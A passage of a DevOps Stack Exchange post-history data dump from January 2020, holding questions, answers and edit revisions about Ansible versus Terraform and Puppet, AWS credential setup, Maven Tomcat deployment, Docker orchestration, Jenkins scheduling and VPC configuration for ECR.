POV?&#xD;&#xA;&#xD;&#xA;Thank you as always for your time." ContentLicense="CC BY-SA 4.0" />
  <row Id="32065" PostHistoryTypeId="2" PostId="10430" RevisionGUID="ff762c34-dac6-4b55-8623-41b8e2bdf8e5" CreationDate="2020-01-08T09:10:19.257" UserId="8800" Text="Have you got AWS credentials configured on that machine?&#xD;&#xA;&#xD;&#xA;    ~ $ aws configure&#xD;&#xA;&#xD;&#xA;And then verify with:&#xD;&#xA;&#xD;&#xA;    ~ $ aws sts get-caller-identity&#xD;&#xA;&#xD;&#xA;Hope that helps :)" ContentLicense="CC BY-SA 4.0" />
  <row Id="32066" PostHistoryTypeId="5" PostId="10422" RevisionGUID="3a967a29-2fd2-43c2-bb7e-7e38c95802e4" CreationDate="2020-01-08T11:50:25.163" UserId="707" Comment="added 2 characters in body; edited title" Text="I have some time for research at work right now, and I was thinking on expanding my knowledge on my favorite subject, which is DevOps (love you all). &#xD;&#xA;&#xD;&#xA;I have some advanced experience with Ansible, as it has always been my choice when preparing and provisioning hardware in my Cloud tenancies. I started working with Ansible because it was the first software that popped up based on a quick SE search, a couple of months ago. However, I'd like to know **how Ansible compares with *Terraform* and/or *Puppet*, in the following aspects:**&#xD;&#xA;&#xD;&#xA;1. Which is the most commonly used tool between the three in the DevOps community, more specifically when deploying Cloud infrastructure to customers, and why is that?&#xD;&#xA;2. Which of the three use the simplest syntax (to my knowledge, Terraform is best at this)? I’m looking for a human-readable syntax if possible which makes things easier to remember.&#xD;&#xA;3. Which is most respectable in the DevOps community, with regard to community standards, and why? Do any of these tools have a feature that makes them stand out from a development POV?&#xD;&#xA;&#xD;&#xA;Thank you as always for your time." ContentLicense="CC BY-SA 4.0" />
  <row Id="32067" PostHistoryTypeId="4" PostId="10422" RevisionGUID="3a967a29-2fd2-43c2-bb7e-7e38c95802e4" CreationDate="2020-01-08T11:50:25.163" UserId="707" Comment="added 2 characters in body; edited title" Text="Most used tool for Cloud Infrastructure deployment Ansible vs Puppet vs Terraform?" ContentLicense="CC BY-SA 4.0" />
  <row Id="32068" PostHistoryTypeId="2" PostId="10431" RevisionGUID="f687a011-804c-44fd-99a3-40e44aa87312" CreationDate="2020-01-08T12:10:21.903" UserId="19003" Text="I am working as a Business Analyst for an IT firm. My team has stumbled upon a certain feature where they are required to use Service account. &#xD;&#xA;We are working for a Bank and they have strong policies of keeping no Shared folder on Db server, for this they have advised us and provided us Service accounts with help of their server team.&#xD;&#xA;Naturally my team is unaware on how to use this Service account for transferring the file From App server A to Db server B and thus i will be needing help from you guys.&#xD;&#xA;&#xD;&#xA;If you ask me i dont know exactly what a service account is, but judging by the name it is a credentials which allows access within different servers.&#xD;&#xA;Can anyone advice on how to use this for file tranfer?" ContentLicense="CC BY-SA 4.0" />
  <row Id="32069" PostHistoryTypeId="1" PostId="10431" RevisionGUID="f687a011-804c-44fd-99a3-40e44aa87312" CreationDate="2020-01-08T12:10:21.903" UserId="19003" Text="File transfer from Application server to Db Server without a shared folder access but using Service Account" ContentLicense="CC BY-SA 4.0" />
  <row Id="32070" PostHistoryTypeId="3" PostId="10431" RevisionGUID="f687a011-804c-44fd-99a3-40e44aa87312" CreationDate="2020-01-08T12:10:21.903" UserId="19003" Text="&lt;databases&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32071" PostHistoryTypeId="2" PostId="10432" RevisionGUID="f8f752b9-8a7f-48ed-abb3-79ef3e99d0a8" CreationDate="2020-01-08T12:30:47.567" UserId="707" Text="@jasper welcome!&#xD;&#xA;&#xD;&#xA;This really might depend on the context. On long term it's worth have a deeper look for a moment if you are not after quick shots and go beyond experiments for a sustainable (and large) infrastructure.&#xD;&#xA;&#xD;&#xA;So we have got many clouds out there. Deployment automation means, they have some API.&#xD;&#xA;&#xD;&#xA;So what does make a deployment automation tool delivering *infrastructure as code* capability?&#xD;&#xA;&#xD;&#xA;* **(1)** Unified, programmable, configurable abstraction layer, also *[called domain specific language][1]* (DSL).&#xD;&#xA;&#xD;&#xA;* **(2)** An [object model][2] of (multiple) cloud assets and available services&#xD;&#xA;&#xD;&#xA;* **(3)** Corresponding logic to execute actions on the assets typically: *[create, read, update, delete][3]* (CRUD) and synonyms.&#xD;&#xA;&#xD;&#xA;Now there are some challenges to address human readability and sustainability varying by programming language ecosystems and communities: &#xD;&#xA;&#xD;&#xA;* Cloud products being themselves computer infrastructure and network engineering (these are different disciplines!) are not following some official &quot;cloud domain&quot; ISO/IEEE naming standards as far as I know. That is, all the names are pushed by vendors and might be marketing biased. So either you invent your own terminology or decide which terms are most generic, or a mix of that. There is therefore a good reason that you find also cloud vendor specific deployment languages and tools for example like *Cloud Formation* by AWS.&#xD;&#xA;* *Somebody* needs to maintain the logic to support new API versions for every cloud platform&#xD;&#xA;&#xD;&#xA;Some deployment tools delegate the *cloud driver* (that's another term for cloud platform specific code bases) to separate projects, which in their term delegate responsibility for API compatibility to one or another boilerplate (=boring and tedious) API implementations.&#xD;&#xA;&#xD;&#xA;Therefore my conclusion is that depending on your purposes the most straight-forward way to write infrastructure as a code is the programming language of your choice using a well-supported SDK which is though vendor-specific. Still this is the point where you have got greatest flexibility because for a small standard use case you could write your own abstraction layer and your custom logic whatever you want. &#xD;&#xA;&#xD;&#xA;Python examples:&#xD;&#xA;&#xD;&#xA; * *boto3* for AWS&#xD;&#xA;&#xD;&#xA; * *exoscale/cs* for Apache CloudStack&#xD;&#xA;&#xD;&#xA; * *python-openstackclient* for Apache CloudStack&#xD;&#xA;&#xD;&#xA;Recent Terraform example: its Apache CloudStack driver has [backward compatibility problems][4] because it's based on some less-visible [CloudStack API SDK written in Golang][5]. I am sure you can run into problems of this sort with any deployment tool; so if you commit to one, bring enough courage and patience to connect with and contribute to community (same is for SDKs but they at least have typically less abstraction).&#xD;&#xA;&#xD;&#xA;That is, before deciding for a certain cloud deployment automation tool, consider besides the things you see on the surface like syntactic sugar and community support also the following aspects:&#xD;&#xA;&#xD;&#xA;* If it's open source, is it written in a programming language where you/your team could create an emergency patch if things go really worse?&#xD;&#xA;* How well supported are those cloud drivers critical to your business: these typically can't be *all* of them, if so, you might run into issues like [GitLab with *Docker Machine*][6] (also a specific deployment tool after all), where a significant technical base for a competitive product feature suddenly breaks away because all the responsibility had been factually outsourced to the open source community.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Domain-specific_language&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Object_model&#xD;&#xA;  [3]: https://en.wikipedia.org/wiki/Create,_read,_update_and_delete&#xD;&#xA;  [4]: https://github.com/terraform-providers/terraform-provider-cloudstack/issues/72&#xD;&#xA;  [5]: https://github.com/xanzy/go-cloudstack&#xD;&#xA;  [6]: https://gitlab.com/gitlab-org/gitlab-runner/issues/4338" ContentLicense="CC BY-SA 4.0" />
  <row Id="32072" PostHistoryTypeId="6" PostId="10422" RevisionGUID="e705fe21-1161-42c5-ac33-0152f87c6caa" CreationDate="2020-01-08T12:32:02.663" UserId="707" Comment="edited tags" Text="&lt;ansible&gt;&lt;terraform&gt;&lt;deployment&gt;&lt;infrastructure-as-code&gt;&lt;puppet&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32073" PostHistoryTypeId="5" PostId="10432" RevisionGUID="8f140f6a-731a-4068-b63e-7178cd485139" CreationDate="2020-01-08T12:50:53.293" UserId="707" Comment="added 12 characters in body" Text="@jasper welcome!&#xD;&#xA;&#xD;&#xA;This really might depend on the context. On long term it's worth have a deeper look for a moment if you are not after quick shots and go beyond experiments for a sustainable (and large) infrastructure.&#xD;&#xA;&#xD;&#xA;So we have got many clouds out there. Deployment automation means, they have some API.&#xD;&#xA;&#xD;&#xA;So what does make a deployment automation tool delivering *infrastructure as code* capability?&#xD;&#xA;&#xD;&#xA;* **(1)** Unified, programmable, configurable abstraction layer, also *[called domain specific language][1]* (DSL).&#xD;&#xA;&#xD;&#xA;* **(2)** An [object model][2] of (multiple) cloud assets and available services&#xD;&#xA;&#xD;&#xA;* **(3)** Corresponding logic to execute actions on the assets typically: *[create, read, update, delete][3]* (CRUD) and synonyms.&#xD;&#xA;&#xD;&#xA;Now there are some challenges to address human readability and sustainability varying by programming language ecosystems and communities: &#xD;&#xA;&#xD;&#xA;* Cloud products being themselves computer infrastructure and network engineering (these are different disciplines!) are not following some official &quot;cloud domain&quot; ISO/IEEE naming standards as far as I know. That is, all the names are pushed by vendors and might be marketing biased. So either you invent your own terminology or decide which terms are most generic, or a mix of that. There is therefore a good reason that you find also cloud vendor specific deployment languages and tools for example like *Cloud Formation* by AWS.&#xD;&#xA;* *Somebody* needs to maintain related components to support new API versions for *every cloud platform*!&#xD;&#xA;&#xD;&#xA;Some deployment tools delegate the *cloud driver* (that's another term for cloud platform specific code bases) to separate projects, which in their term delegate responsibility for API compatibility to one or another boilerplate (=often boring and tedious) API implementations.&#xD;&#xA;&#xD;&#xA;Therefore my conclusion is that depending on your purposes the most straight-forward way to write infrastructure as a code is the programming language of your choice using a well-supported SDK which is though vendor-specific. Still this is the point where you have got greatest flexibility because for a small standard use case you could write your own abstraction layer and your custom logic whatever you want. &#xD;&#xA;&#xD;&#xA;Python examples:&#xD;&#xA;&#xD;&#xA; * *boto3* for AWS&#xD;&#xA;&#xD;&#xA; * *exoscale/cs* for Apache CloudStack&#xD;&#xA;&#xD;&#xA; * *python-openstackclient* for Apache CloudStack&#xD;&#xA;&#xD;&#xA;Recent Terraform example: its Apache CloudStack driver has [backward compatibility problems][4] because it's based on some less-visible [CloudStack API SDK written in Golang][5]. I am sure you can run into problems of this sort with any deployment tool; so if you commit to one, bring enough courage and patience to connect with and contribute to community (same is for SDKs but they at least have typically less abstraction).&#xD;&#xA;&#xD;&#xA;That is, before deciding for a certain cloud deployment automation tool, consider besides the things you see on the surface like syntactic sugar and community support also the following aspects:&#xD;&#xA;&#xD;&#xA;* If it's open source, is it written in a programming language where you/your team could create an emergency patch if things go really worse?&#xD;&#xA;* How well supported are those cloud drivers critical to your business: these typically can't be *all* of them, if so, you might run into issues like [GitLab with *Docker Machine*][6] (also a specific deployment tool after all), where a significant technical base for a competitive product feature [suddenly breaks away][7] because all the responsibility in this context had been factually outsourced to the open source community.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Domain-specific_language&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Object_model&#xD;&#xA;  [3]: https://en.wikipedia.org/wiki/Create,_read,_update_and_delete&#xD;&#xA;  [4]: https://github.com/terraform-providers/terraform-provider-cloudstack/issues/72&#xD;&#xA;  [5]: https://github.com/xanzy/go-cloudstack&#xD;&#xA;  [6]: https://gitlab.com/gitlab-org/gitlab-runner/issues/4338&#xD;&#xA;  [7]: https://github.com/docker/machine/issues/4537" ContentLicense="CC BY-SA 4.0" />
  <row Id="32074" PostHistoryTypeId="5" PostId="10432" RevisionGUID="2d20599e-3f0e-4aef-9c87-834fbe24950d" CreationDate="2020-01-08T13:17:56.323" UserId="707" Comment="added 3 characters in body" Text="@jasper welcome!&#xD;&#xA;&#xD;&#xA;This really might depend on the context. On long term it's worth to take a deeper look for a moment if you are not after quick shots and go beyond experiments for a sustainable (and large) infrastructure.&#xD;&#xA;&#xD;&#xA;So we have got many clouds out there. Deployment automation means, they have some API.&#xD;&#xA;&#xD;&#xA;So what does make a deployment automation tool delivering *infrastructure as code* capability?&#xD;&#xA;&#xD;&#xA;* **(1)** Unified, programmable, configurable abstraction layer, also *[called domain specific language][1]* (DSL).&#xD;&#xA;&#xD;&#xA;* **(2)** An [object model][2] of (multiple) cloud assets and available services.&#xD;&#xA;&#xD;&#xA;* **(3)** Corresponding logic to execute actions on the assets typically: *[create, read, update, delete][3]* (CRUD) and synonyms.&#xD;&#xA;&#xD;&#xA;Now there are some challenges to address human readability and sustainability varying by programming language ecosystems and communities: &#xD;&#xA;&#xD;&#xA;* Cloud products being themselves computer infrastructure and network engineering (these are different disciplines!) abstractions are not following some official &quot;cloud domain&quot; ISO/IEEE naming standards as far as I know. That is, all the names are pushed by vendors and might be marketing biased. So either you invent your own terminology or decide which terms are most generic, or a mix of that. There is therefore a good reason that you find also cloud vendor specific deployment languages and tools for example like *Cloud Formation* by AWS.&#xD;&#xA;* *Somebody* needs to maintain related components to support new API versions for *every cloud platform*!&#xD;&#xA;&#xD;&#xA;Some deployment tools delegate the *cloud driver* (that's another term for cloud platform specific code bases) to separate projects, which in their term delegate responsibility for API compatibility to one or another boilerplate (=often boring and tedious) API implementations.&#xD;&#xA;&#xD;&#xA;Therefore my conclusion is that depending on your purposes the most straight-forward way to write infrastructure as a code is the programming language of your choice using a well-supported SDK which is though vendor-specific!&#xD;&#xA;&#xD;&#xA;Still this is the point where you have got greatest flexibility because for a small standard use case you could write your own abstraction layer and your custom logic whatever you want. &#xD;&#xA;&#xD;&#xA;Python examples:&#xD;&#xA;&#xD;&#xA; * *boto3* for AWS&#xD;&#xA;&#xD;&#xA; * *exoscale/cs* for Apache CloudStack&#xD;&#xA;&#xD;&#xA; * *python-openstackclient* for Apache CloudStack&#xD;&#xA;&#xD;&#xA;Recent Terraform example: its Apache CloudStack driver has [backward compatibility problems][4] because it's based on some less-visible [CloudStack API SDK written in Golang][5]. I am sure you can run into problems of this sort with any deployment tool; so if you commit to one, bring enough courage and patience to connect with and contribute to the corresponding community (same is for SDKs but they at least typically have less abstraction).&#xD;&#xA;&#xD;&#xA;That is, before deciding for a certain cloud deployment automation tool, consider besides the things you see on the surface like syntactic sugar and community support also the following aspects:&#xD;&#xA;&#xD;&#xA;* If it's open source, is it written in a programming language where you/your team could create an emergency patch if things go really worse?&#xD;&#xA;* How well supported are those cloud drivers critical to your business: these typically can't be *all* of them, if so, you might run into issues like [GitLab with *Docker Machine*][6] (also a specific deployment tool after all), where a significant technical base for a competitive product feature [suddenly breaks away][7] because all the responsibility in this context had been factually outsourced to the open source community.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Domain-specific_language&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Object_model&#xD;&#xA;  [3]: https://en.wikipedia.org/wiki/Create,_read,_update_and_delete&#xD;&#xA;  [4]: https://github.com/terraform-providers/terraform-provider-cloudstack/issues/72&#xD;&#xA;  [5]: https://github.com/xanzy/go-cloudstack&#xD;&#xA;  [6]: https://gitlab.com/gitlab-org/gitlab-runner/issues/4338&#xD;&#xA;  [7]: https://github.com/docker/machine/issues/4537" ContentLicense="CC BY-SA 4.0" />
  <row Id="32075" PostHistoryTypeId="4" PostId="10422" RevisionGUID="8def835d-c216-4139-8be0-421b7347844e" CreationDate="2020-01-08T13:18:56.597" UserId="707" Comment="edited title" Text="What is the most used tool for Cloud Infrastructure deployment Ansible vs Puppet vs Terraform?" ContentLicense="CC BY-SA 4.0" />
  <row Id="32076" PostHistoryTypeId="2" PostId="10433" RevisionGUID="65a81d10-78d6-444b-ab7b-3ada2586f0b6" CreationDate="2020-01-08T13:22:13.460" UserId="185" Text="That's because you forgot to link the `&lt;configuration&gt;` for the plugin with the `&lt;server&gt;` definition in settings.xml., and the tomcat7 plugin is trying to deploy as un-authenticated because it has not credentials to try.&#xD;&#xA;&#xD;&#xA;Add `&lt;server&gt;maven-tomcat-war-deployment-server&lt;/server&gt;` in the configuration section of the plugin:    &#xD;&#xA;&#xD;&#xA;    &lt;configuration&gt;&#xD;&#xA;        &lt;server&gt;maven-tomcat-war-deployment-server&lt;/server&gt;&#xD;&#xA;        &lt;url&gt;http://localhost:8080/manager/text&lt;/url&gt;&#xD;&#xA;        &lt;path&gt;/my-project-url-path&lt;/path&gt;&#xD;&#xA;    &lt;/configuration&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32077" PostHistoryTypeId="5" PostId="10429" RevisionGUID="441d4aea-4107-46f8-b370-511e39e25402" CreationDate="2020-01-08T13:24:53.760" UserId="707" Comment="added 20 characters in body" Text="These tools serve slightly different purposes: use a *configuration management* tool like Ansible/Puppet for configuration / customization and orchestration tool like Terraform to provision infrastructure.&#xD;&#xA;&#xD;&#xA;Ansible and Puppet are primarily configuration management tools. It is suitable for resource customization and configuration.&#xD;&#xA;&#xD;&#xA;Puppet requires Puppet Agent installation on each server. Ansible doesn't require any agents. It uses SSH protocol for performing all operations.             &#xD;&#xA;Ansible supports YAML syntax. Ansible is little more popular now than Puppet.&#xD;&#xA;&#xD;&#xA;Terraform is an infrastructure orchestration tool that supports many cloud platforms.&#xD;&#xA;With Terraform you simply declare resources and how you want them configured and then Terraform will map out the dependencies and build everything for you.&#xD;&#xA;I prefer to use it to provision VMs and Cloud services like Databases or Storages.&#xD;&#xA;&#xD;&#xA;All three tools have excellent community support.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32078" PostHistoryTypeId="2" PostId="10434" RevisionGUID="68dab8cf-0629-4dad-b6b0-fcae1c184471" CreationDate="2020-01-08T13:50:31.040" UserId="31" Text="Without input from the authors I doubt we'll get a definitive answer but I'll try my best.&#xD;&#xA;&#xD;&#xA;As far as I know none of the authors of The Phoenix Project served in the military, however my understanding of the USA is that serving in the army for a couple of years to help fund college is an extremely common practice. In other countries (such as the UK where I live) someone who enters the military often views it as a career and serves for a longer term. In the US it's much more common that people will have some kind of military background.&#xD;&#xA;&#xD;&#xA;**Question 1:** Are these reference to the army background an essential part of the message of the book or just story-telling (e.g. trying to give some depth to the characters by telling their history)?&#xD;&#xA;&#xD;&#xA;I don't believe an understanding of military process is required to understand or appreciate The Phoenix Project. So why did the authors include them?&#xD;&#xA;&#xD;&#xA; - To illustrate the &quot;rigor and discipline&quot; mentality that Bill started the role with.&#xD;&#xA; - To emphasise the similarities with military practice and repetition which Kaizen values so highly.&#xD;&#xA; - To give small talk for Steve, Bill, and Eric to all talk about when the story needs it&#xD;&#xA; - To give Bill more backstory (see the &quot;opening up&quot; scene)&#xD;&#xA; - To make Bill more relatable to many a large demographic of ex-military personal now working in industry&#xD;&#xA;&#xD;&#xA;**Question 2:** If an essential part, how does the way the US army organises its operations relate with a DevOps culture? Should it be embraced or avoided in the workplace?&#xD;&#xA;&#xD;&#xA;This is harder to answer as I have never been in the military myself. However I wouldn't worry about it too much, it's not essential for the story and you could equally draw these parallels yourself with other teams/organisations you are more familiar with from sports, religion elsewhere.&#xD;&#xA;&#xD;&#xA;However, as an extreme outsider the US military has a reputation for a couple of things which do apply to DevOps:&#xD;&#xA;&#xD;&#xA; - The size and complexity of the organisation&#xD;&#xA; - High levels or organisation in a hierarchical manner&#xD;&#xA; - Enforcing standards and processes&#xD;&#xA; - Creating strong teams (especially the Marines - see Simon Senik's Leader's Eat Last)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;###TLDR&#xD;&#xA;Is a knowledge of military required to understand and get value from The Phoenix Project? No. The idea of the military is mostly used as an example for Kaizen, a illustration of Bill's starting point, and to add some character to the erm... characters." ContentLicense="CC BY-SA 4.0" />
  <row Id="32079" PostHistoryTypeId="4" PostId="5755" RevisionGUID="3427e3f1-9c86-454f-a657-c0486b38c660" CreationDate="2020-01-08T13:56:48.617" UserId="707" Comment="edited title" Text="How does Docker container orchestration work?" ContentLicense="CC BY-SA 4.0" />
  <row Id="32080" PostHistoryTypeId="5" PostId="10394" RevisionGUID="407908d3-25e5-4a9e-a021-6c221d674749" CreationDate="2020-01-08T15:10:07.037" UserId="707" Comment="added 117 characters in body" Text="@jasper, and welcome to DevOps SE!&#xD;&#xA;&#xD;&#xA;While your statement can be [confirmed][1] by other voices, it's very hard to x-ray price policies of a company. It's a complex gameplay always driven by [many factors][2] and decisions and a question about pricing policies of Digital Ocean vs. AWS might be a good and on possibly well on topic question at Economics SE.&#xD;&#xA;&#xD;&#xA;For example, one could argue to find facts supporting the evidence of Digital Ocean currently being cheaper that:&#xD;&#xA;&#xD;&#xA;- Docker, Inc. is in a [situation][3] where it cannot afford losing customers, so maybe they a cautious and prefer lower margin to attract customers.&#xD;&#xA;- Amazon is the market's prime with top notch customers from overall industry and government: stability, seriousity and credability are way more important than money, especially given that expenditures on information technology is only a (small) part of industrial budget planning. Also, Amazon has many more data centers and is as whole [investing][4] *billions* to AI technology ($0.8b in [2017][5], almost complete estimated [market value][6] of Docker Inc.), custom data center hardware, buying startups etc.&#xD;&#xA;&#xD;&#xA;Please consider making your question more specific in the DevOps SE site context to get more answers.&#xD;&#xA;&#xD;&#xA;This sort of decision is possibly best to elaborate together with the customer, collect their business requirements if price is not the only one requirement and assess risks. &#xD;&#xA;&#xD;&#xA;Further reading/related business topic: *[due diligence][7]*.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.quora.com/Is-DigitalOcean-cheaper-compared-to-AWS-EC2&#xD;&#xA;  [2]: http://www.shareyouressays.com/knowledge/what-are-the-factors-influencing-pricing-decisions-in-a-market/112825&#xD;&#xA;  [3]: https://www.zdnet.com/article/docker-is-in-deep-trouble/&#xD;&#xA;  [4]: https://www.fool.com/investing/2019/10/29/amazons-spending-surge-is-coming-at-the-perfect-ti.aspx&#xD;&#xA;  [5]: https://www.techrepublic.com/article/the-10-tech-companies-that-have-invested-the-most-money-in-ai/&#xD;&#xA;  [6]: https://en.wikipedia.org/wiki/Docker,_Inc.&#xD;&#xA;  [7]: https://en.wikipedia.org/wiki/Due_diligence" ContentLicense="CC BY-SA 4.0" />
  <row Id="32081" PostHistoryTypeId="5" PostId="5757" RevisionGUID="a8894db0-18c3-46d3-becd-726aa76be148" CreationDate="2020-01-08T15:59:32.547" UserId="707" Comment="deleted 4 characters in body" Text="welcome to DevOps SE, @bgarcial!&#xD;&#xA;&#xD;&#xA;Well I think there are the following options depending on the use case:&#xD;&#xA;&#xD;&#xA;* Docker Container *links* are a according to the vendor site a [legacy feature][1] and you shouldn't use it&#xD;&#xA;* Docker *compose* should work well but you can't scale horizontally: the stack is runnable only one a single machine&#xD;&#xA;* With *Docker Swarm* using mostly same YML you can distribute your containers across many machines&#xD;&#xA;* If you are going to deploy large scale production environments you might want to choose *Kubernetes* over Swarm, maybe have a look for example on *Rancher/Kubernetes*.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/network/links/" ContentLicense="CC BY-SA 4.0" />
  <row Id="32091" PostHistoryTypeId="2" PostId="10438" RevisionGUID="82357ef6-41f4-415a-9cda-9f5c0daf8dd9" CreationDate="2020-01-08T22:49:31.373" UserId="17235" Text="We use ansible for our day to day operation and so far so good. We have been looking for a way to run local test etc just like chef guys and found molecule that we use with testinfra/vagrant. While I personally found it great for developing roles, I am looking for a way to actually test the playbook(which uses multiple roles , some with pre and post tasks) itself.&#xD;&#xA;&#xD;&#xA;Ideally I could use testinfra without the molecule part and I have not really found a way of doing that by also loading the variable file etc.&#xD;&#xA;&#xD;&#xA;I have looked into ansible_spec which from my understanding is from serverspec. &#xD;&#xA;&#xD;&#xA;Probably my perception of these tools are ground but, I am thinking having the check to be say the last task in the playbook or call it inside the post_tasks stage. Not sure how all these will pan out but I would be grateful if you could share your wisdom with me.&#xD;&#xA;&#xD;&#xA;Thanks in advance" ContentLicense="CC BY-SA 4.0" />
  <row Id="32092" PostHistoryTypeId="1" PostId="10438" RevisionGUID="82357ef6-41f4-415a-9cda-9f5c0daf8dd9" CreationDate="2020-01-08T22:49:31.373" UserId="17235" Text="How to test production Ansible execution without having to provision target" ContentLicense="CC BY-SA 4.0" />
  <row Id="32093" PostHistoryTypeId="3" PostId="10438" RevisionGUID="82357ef6-41f4-415a-9cda-9f5c0daf8dd9" CreationDate="2020-01-08T22:49:31.373" UserId="17235" Text="&lt;ansible&gt;&lt;testing&gt;&lt;serverspec&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32095" PostHistoryTypeId="2" PostId="10440" RevisionGUID="c6c73996-e591-4a6a-9b7a-de6843605757" CreationDate="2020-01-09T01:46:02.810" UserId="18304" Text="I am creating my infrastructure with Ansible. I create a VPC and an ECS cluster where I use Fargate to run my docker containers.&#xD;&#xA;When the tasks are started I am prompted that the task was not able to pull the Image from the ECR. &#xD;&#xA;`STOPPED (CannotPullContainerError: Error response from daem)`&#xD;&#xA;&#xD;&#xA;I know for a fact that the URI to the image and the IAM permissions are correct. Also I don't think the issue is in the AMI or docker image, because when I create the same scenario over the AWS UI, it works fine. &#xD;&#xA;&#xD;&#xA;Therefore, I assume my VPC is not configured correctly in a way that it can not connect to the ECR.&#xD;&#xA;&#xD;&#xA;This is how I create my VPC and Subnet:&#xD;&#xA;&#xD;&#xA;    - name: &quot;2) Create VPC&quot;&#xD;&#xA;      ec2_vpc_net:&#xD;&#xA;        name: &quot;{{vpc_name}}&quot;&#xD;&#xA;        state: present&#xD;&#xA;        cidr_block: 10.10.0.0/16&#xD;&#xA;        region: &quot;{{ region_name }}&quot;&#xD;&#xA;      register: vpc_net&#xD;&#xA;      &#xD;&#xA;    - name: &quot;3) Create VPC Subnet&quot;&#xD;&#xA;      ec2_vpc_subnet:&#xD;&#xA;        state: present&#xD;&#xA;        map_public: yes&#xD;&#xA;        vpc_id: &quot;{{vpc_net.vpc.id}}&quot;&#xD;&#xA;        cidr: 10.10.0.0/24&#xD;&#xA;        tags:&#xD;&#xA;          name: &quot;test-subnet&quot;&#xD;&#xA;      register: vpc_subnet&#xD;&#xA;     &#xD;&#xA;How can I ensure my VPC and subnet is configured correctly so that the docker daemon can connect and pull the image from the ECR repo?&#xD;&#xA;Am I missing an important attribute?" ContentLicense="CC BY-SA 4.0" />
  <row Id="32096" PostHistoryTypeId="1" PostId="10440" RevisionGUID="c6c73996-e591-4a6a-9b7a-de6843605757" CreationDate="2020-01-09T01:46:02.810" UserId="18304" Text="Configure VPC for ECR access" ContentLicense="CC BY-SA 4.0" />
  <row Id="32097" PostHistoryTypeId="3" PostId="10440" RevisionGUID="c6c73996-e591-4a6a-9b7a-de6843605757" CreationDate="2020-01-09T01:46:02.810" UserId="18304" Text="&lt;ansible&gt;&lt;amazon-ecs&gt;&lt;aws-vpc&gt;&lt;aws-ecr&gt;&lt;fargate&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32111" PostHistoryTypeId="2" PostId="10446" RevisionGUID="483ce6bc-4782-4efc-b91d-925653b94183" CreationDate="2020-01-09T04:56:34.157" UserId="19016" Text="I am trying to understand where you actually use the environments you setup in a project. I though I could use them to deploy on specific servers from deployment agent which are hosted on another on premise server.&#xD;&#xA;&#xD;&#xA;The example given in the documentation shows that you can define the environment inside a deployment job.&#xD;&#xA;But I can't find it inside the UI when defining a release pipeline&#xD;&#xA;&#xD;&#xA;Where do you use environments if you're not using a yaml pipeline ?&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;- stage: deploy&#xD;&#xA;  jobs:&#xD;&#xA;  - deployment: DeployWeb&#xD;&#xA;    displayName: deploy Web App&#xD;&#xA;    pool:&#xD;&#xA;      vmImage: 'Ubuntu-16.04'&#xD;&#xA;    # creates an environment if it doesn't exist&#xD;&#xA;    environment: 'smarthotel-dev'&#xD;&#xA;    strategy:&#xD;&#xA;      runOnce:&#xD;&#xA;        deploy:&#xD;&#xA;          steps:&#xD;&#xA;          - script: echo Hello world&#xD;&#xA;```&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32112" PostHistoryTypeId="1" PostId="10446" RevisionGUID="483ce6bc-4782-4efc-b91d-925653b94183" CreationDate="2020-01-09T04:56:34.157" UserId="19016" Text="Where Azure DevOps Services Enviromnent come into play?" ContentLicense="CC BY-SA 4.0" />
  <row Id="32113" PostHistoryTypeId="3" PostId="10446" RevisionGUID="483ce6bc-4782-4efc-b91d-925653b94183" CreationDate="2020-01-09T04:56:34.157" UserId="19016" Text="&lt;azure-pipelines&gt;&lt;release&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32114" PostHistoryTypeId="2" PostId="10447" RevisionGUID="1000b0e2-f202-4bc1-8d4e-81171d1cd125" CreationDate="2020-01-09T09:07:21.587" UserId="19018" Text="I have a situation where there is a database in which a table consists of scheduled time to build. This schedule time to build may vary from day to day. Say for example,&#xD;&#xA;```&#xD;&#xA;Today the entry in db is 09/01/2020 5:00 PM &#xD;&#xA;Tomorrow the entry can be 10/01/2020 4:00 PM&#xD;&#xA;```&#xD;&#xA;So, based on the above table, I need to schedule a Jenkins job today at 5:00 PM and tomorrow at 4:00 PM Is there any possibility in Jenkins to configure the build based on the above table entries.&#xD;&#xA;&#xD;&#xA;Thanks in advance" ContentLicense="CC BY-SA 4.0" />
  <row Id="32115" PostHistoryTypeId="1" PostId="10447" RevisionGUID="1000b0e2-f202-4bc1-8d4e-81171d1cd125" CreationDate="2020-01-09T09:07:21.587" UserId="19018" Text="How to schedule a Jenkins Job dynamically based on the time value in database" ContentLicense="CC BY-SA 4.0" />
  <row Id="32116" PostHistoryTypeId="3" PostId="10447" RevisionGUID="1000b0e2-f202-4bc1-8d4e-81171d1cd125" CreationDate="2020-01-09T09:07:21.587" UserId="19018" Text="&lt;jenkins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32118" PostHistoryTypeId="50" PostId="10060" RevisionGUID="ea0a3a79-d026-42ac-996d-81f33dc3a381" CreationDate="2020-01-09T10:03:20.453" UserId="-1" />
